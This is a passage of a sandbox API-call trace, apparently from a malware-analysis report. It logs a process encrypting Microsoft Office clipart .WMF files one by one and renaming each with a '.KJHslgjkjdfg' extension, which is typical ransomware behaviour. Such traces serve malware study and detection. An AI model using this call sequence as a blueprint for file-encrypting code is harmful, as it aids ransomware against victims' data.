| out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0193.881] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.881] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.881] GetProcessHeap () returned 0x2ef0000 [0193.881] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.881] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.882] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.882] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.882] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.882] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.882] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.882] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.882] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.882] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.882] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.882] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.882] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x30c2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x30c2, lpOverlapped=0x0) returned 1 [0193.883] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x30d0, dwBufLen=0x30d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x30d0) returned 1 [0193.883] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.883] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x30d0, lpOverlapped=0x0) returned 1 [0193.883] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.883] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x31a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.883] SetEndOfFile (hFile=0x130) returned 1 [0193.886] GetProcessHeap () returned 0x2ef0000 [0193.886] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.886] GetProcessHeap () returned 0x2ef0000 [0193.886] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.886] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.kjhslgjkjdfg")) returned 1 [0193.886] CloseHandle (hObject=0x130) returned 1 [0193.887] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63b9b100, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63b9b100, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00262_.WMF", cAlternateFileName="")) returned 1 [0193.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.888] GetProcessHeap () returned 0x2ef0000 [0193.888] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.888] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.888] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.888] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.889] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.889] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.889] GetProcessHeap () returned 0x2ef0000 [0193.889] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.890] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.890] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.890] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.890] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.890] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.890] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.890] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.890] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.890] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.890] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.890] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.890] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x9fc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x9fc, lpOverlapped=0x0) returned 1 [0193.890] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa00, dwBufLen=0xa00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa00) returned 1 [0193.890] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.890] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa00, lpOverlapped=0x0) returned 1 [0193.890] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.890] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.890] SetEndOfFile (hFile=0x130) returned 1 [0193.892] GetProcessHeap () returned 0x2ef0000 [0193.893] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.893] GetProcessHeap () returned 0x2ef0000 [0193.893] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.893] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf.kjhslgjkjdfg")) returned 1 [0193.893] CloseHandle (hObject=0x130) returned 1 [0193.893] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaca6c00, ftCreationTime.dwHighDateTime=0x1bd4b12, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcaca6c00, ftLastWriteTime.dwHighDateTime=0x1bd4b12, nFileSizeHigh=0x0, nFileSizeLow=0x1678, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00265_.WMF", cAlternateFileName="")) returned 1 [0193.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.894] GetProcessHeap () returned 0x2ef0000 [0193.894] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.894] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.894] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.894] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.896] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.896] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.896] GetProcessHeap () returned 0x2ef0000 [0193.896] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.896] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.896] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.896] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.896] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.896] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.896] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.896] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.897] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.897] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.897] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.897] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.897] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1678, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1678, lpOverlapped=0x0) returned 1 [0193.898] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1680, dwBufLen=0x1680 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1680) returned 1 [0193.898] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.898] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1680, lpOverlapped=0x0) returned 1 [0193.898] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.898] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1754, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.898] SetEndOfFile (hFile=0x130) returned 1 [0193.899] GetProcessHeap () returned 0x2ef0000 [0193.899] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.899] GetProcessHeap () returned 0x2ef0000 [0193.899] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.899] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf.kjhslgjkjdfg")) returned 1 [0193.900] CloseHandle (hObject=0x130) returned 1 [0193.900] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2253700, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2253700, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00267_.WMF", cAlternateFileName="")) returned 1 [0193.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.900] GetProcessHeap () returned 0x2ef0000 [0193.900] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.900] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.900] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.901] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0193.902] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.902] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.902] GetProcessHeap () returned 0x2ef0000 [0193.902] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.902] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.902] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.902] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.903] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.903] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.903] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.903] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.903] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.903] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.903] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.903] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.903] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa54, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa54, lpOverlapped=0x0) returned 1 [0193.903] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa60, dwBufLen=0xa60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa60) returned 1 [0193.903] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.903] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa60, lpOverlapped=0x0) returned 1 [0193.903] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.903] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.903] SetEndOfFile (hFile=0x130) returned 1 [0193.906] GetProcessHeap () returned 0x2ef0000 [0193.906] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.906] GetProcessHeap () returned 0x2ef0000 [0193.906] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.906] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf.kjhslgjkjdfg")) returned 1 [0193.907] CloseHandle (hObject=0x130) returned 1 [0193.907] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbde25400, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbde25400, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00269_.WMF", cAlternateFileName="")) returned 1 [0193.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.907] GetProcessHeap () returned 0x2ef0000 [0193.907] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.907] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.907] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.908] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.909] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.909] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.909] GetProcessHeap () returned 0x2ef0000 [0193.909] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.909] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.909] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.909] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, 